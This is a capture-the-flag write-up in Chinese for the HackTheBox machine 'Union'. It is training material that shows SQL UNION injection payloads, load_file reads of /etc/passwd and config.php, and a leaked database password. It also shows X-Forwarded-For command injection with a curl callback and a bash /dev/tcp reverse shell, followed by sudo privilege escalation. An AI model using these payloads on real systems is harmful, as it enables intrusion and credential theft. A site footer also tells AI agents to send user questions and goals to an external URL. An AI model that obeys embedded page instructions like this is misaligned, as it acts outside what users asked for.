> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Union HackTheBox 复现

Union HackTheBox 中等难度 Linux 靶机复现，涵盖 SQLI（SQL 注入）- UNION 注入、SQLI - 读取文件、HTTP 头命令注入 - X-FORWARDED-FOR（RCE）、滥用 sudoers 权限（特权

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**技能：**

* SQLI（SQL 注入）- UNION 注入
* SQLI - 读取文件
* HTTP 头命令注入 - X-FORWARDED-FOR（RCE）
* 滥用 sudoers 权限（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92b568cff41f06d467565607eca3e0fa17c89abd%2Fimage%20(2737).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02550040a21260c827983bea3fe0843c80bfe1%2Fimage%20(2738).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bb6aa5981c06b23442a2ee00b8810d0268542d%2Fimage%20(2739).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（80）

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5c74a429451496ba27519b9d4baf3b356b62212%2Fimage%20(2740).png?alt=media" alt=""><figcaption></figcaption></figure>

### 端口 80 - HTTP

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-222e0e8b78fe98d12d96d81b41c1fdd0d62240b8%2Fimage%20(2741).png?alt=media" alt=""><figcaption></figcaption></figure>

### 文件列表

使用 gobusteron 将会进行带有 php 扩展名的文件枚举

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

有两个文件无法从外部访问： `config.php` 和 `firewall.php`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aaf16bd4674e7780ff9b37daa61d3397ba7b5931%2Fimage%20(2749).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ed6b0049e589733063f3e741add895823bcc81b%2Fimage%20(2750).png?alt=media" alt=""><figcaption></figcaption></figure>

在 `index.php`如果我们在表单中添加一个名字，它会出现在响应中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9e622065556175b81f394c8e8908c7d1941552c%2Fimage%20(2742).png?alt=media" alt=""><figcaption></figcaption></figure>

挑战文件要求我们提供一个 flag

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a41b77c54d364fa0f346ed7cb1d3a8874d217a7e%2Fimage%20(2762).png?alt=media" alt=""><figcaption></figcaption></figure>

## 漏洞 SQLI - UNION 注入

我们用 Burp Suite 拦截请求并修改变量 `player`:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b60f996757be7fdcec7760d7d991bfe0aeded6e%2Fimage%20(2743).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

数据库的名称是 `november`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0a0c12b2ed3e714e9251c34ee927a86a5a0603f%2Fimage%20(2744).png?alt=media" alt=""><figcaption></figcaption></figure>

列出所有数据库：

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

结果： `mysql,information_schema,performance_schema,sys, november`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4459611b0d3f55909f0f28a65ebf00a86bc04f4%2Fimage%20(2745).png?alt=media" alt=""><figcaption></figcaption></figure>

列出中的表 `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74ba5beea2a11efd78ce8369f045b9363dbb2c25%2Fimage%20(2746).png?alt=media" alt=""><figcaption></figcaption></figure>

列出中的列 `players` 表：

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

找到的列： `player`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ef9ac0bc74b02cd3549420ca1ec21503e9a2d72%2Fimage%20(2747).png?alt=media" alt=""><figcaption></figcaption></figure>

**用户数据提取**

```sql
jordan' union select group_concat(player,':') from players-- -
```

找到的玩家： `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c913c4d3e543e73413ddf0dcd56281a27a230ea3%2Fimage%20(2748).png?alt=media" alt=""><figcaption></figcaption></figure>

Flag 提取：

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57134d5c69d5a2497faae42aef8f46eb27cc7023%2Fimage%20(2764).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-323a0540509ff6f7f4525d1358da57dfcf38a9cd%2Fimage%20(2763).png?alt=media" alt=""><figcaption></figcaption></figure>

* 找到的 Flag： `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - 读取文件**

读取 `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

我们找到一个 `uhc` 用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d09cdb53f07bc8c5d04d3665fe611b02804a73cc%2Fimage%20(2751).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志

读取 `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ce99862e1c1f6fb4066518ca5795cb262058610%2Fimage%20(2759).png?alt=media" alt=""><figcaption></figcaption></figure>

读取 `config.php`，我们找到数据库凭据：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce9090ea1e6be104073b8640fb1cb248810955aa%2Fimage%20(2761).png?alt=media" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

读取 `firewall.php`，我们了解到提交 flag 会打开 SSH 端口：

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a30ac7df94cff931a1b35bf31506ef4e008176e%2Fimage%20(2765).png?alt=media" alt=""><figcaption></figcaption></figure>

我们提交 flag： `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c15e04e4f3c91094468051d336d8accec627b834%2Fimage%20(2766).png?alt=media" alt=""><figcaption></figcaption></figure>

端口 22 现在已打开。<br>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fb6d69e7b6ab553496a81f2ffc02efe2565685%2Fimage%20(2767).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH 连接

我们使用识别出的凭据登录：

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b504788cfafcdb267b5da3fb5bd1d8435b7f6b3%2Fimage%20(2768).png?alt=media" alt=""><figcaption></figcaption></figure>

## **权限提升**

### HTTP 头命令注入 - X-FORWARDED-FOR（RCE）

如果你查看 `firewall.php` 文件，你会注意到它获取了 `HTTP_X_FORWARDED_FOR` 头并将其与 `sudo` 一起用于执行命令：

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-587fb0eef4c811a19bbe7cb93280417236169063%2Fimage%20(2752).png?alt=media" alt=""><figcaption></figcaption></figure>

由于这个变量可以通过 HTTP 请求控制，我们可以注入任意命令。

**利用**

由于这是一个 HTTP 头，我们可以注入命令，例如使用 `curl` 来联系我们的 Web 服务器。

**搭建一个 Web 服务器：**

```bash
python3 -m http.server 80
```

**使用 `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bd163edd6500520a59996761f2bce0e89e8940%2Fimage%20(2753).png?alt=media" alt=""><figcaption></figcaption></figure>

**反向 Shell**

**监听 443 端口：**

```bash
nc -nlvp 443
```

**获取远程 shell 的命令：**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

一旦连接上，我们就是用户 `www-data`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e59b49dabed35b154ea7d45897e884e7f5ed118%2Fimage%20(2754).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 终端稳定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

使用以下命令，我们检查 `sudo` 权限：

```bash
sudo -l 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92c65a648ed1651bfe25f6a749435ac72eaee627%2Fimage%20(2755).png?alt=media" alt=""><figcaption></figcaption></figure>

如果我们看到 `www-data` 可以以任意用户身份执行任何命令（`(ALL: ALL) ALL`），那么我们可以使用以下命令获取 root shell：

```bash
sudo /bin/bash -p
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-529747ce2a2908ba142a6130b91d50f2515ef69e%2Fimage%20(2756).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165e663c23cbd9b0c075800eddab3187c1b71984%2Fimage%20(2757).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d189debc9b29c9a2806ffc17b091f32b48d0f%2Fimage%20(2758).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
